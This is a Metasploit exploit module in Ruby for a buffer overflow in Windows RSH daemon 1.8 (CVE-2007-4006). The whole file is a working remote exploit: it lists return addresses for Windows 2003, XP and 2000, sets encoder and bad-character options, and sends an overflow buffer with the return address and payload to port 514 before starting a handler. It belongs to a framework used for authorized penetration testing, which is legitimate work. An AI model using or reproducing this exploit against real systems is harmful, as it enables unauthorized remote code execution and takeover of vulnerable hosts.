## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Windows RSH Daemon Buffer Overflow', 'Description' => %q{ This module exploits a vulnerabliltiy in Windows RSH daemon 1.8. The vulnerability is due to a failure to check for the length of input sent to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit to be successful. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2007-4006'], ['OSVDB', '38572'], ['BID', '25044'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'AllowWin32SEH' => true }, 'Payload' => { 'Space' => 850, 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2003 SP1 English', { 'Ret' => 0x77409dbb } ], [ 'Windows XP Pro SP2 English', { 'Ret' => 0x7e497c7b } ], [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77f81be3 } ], ], 'Privileged' => true, 'DisclosureDate' => 'Jul 24 2007', 'DefaultTarget' => 0)) register_options([Opt::RPORT(514)], self.class) end def exploit connect sploit = (("\x00" + rand_text_english(1)) * 2) + "\x00" sploit << rand_text_english(1024) + [target.ret].pack('V') sploit << payload.encoded print_status("Trying target #{target.name}...") sock.put(sploit) handler disconnect end end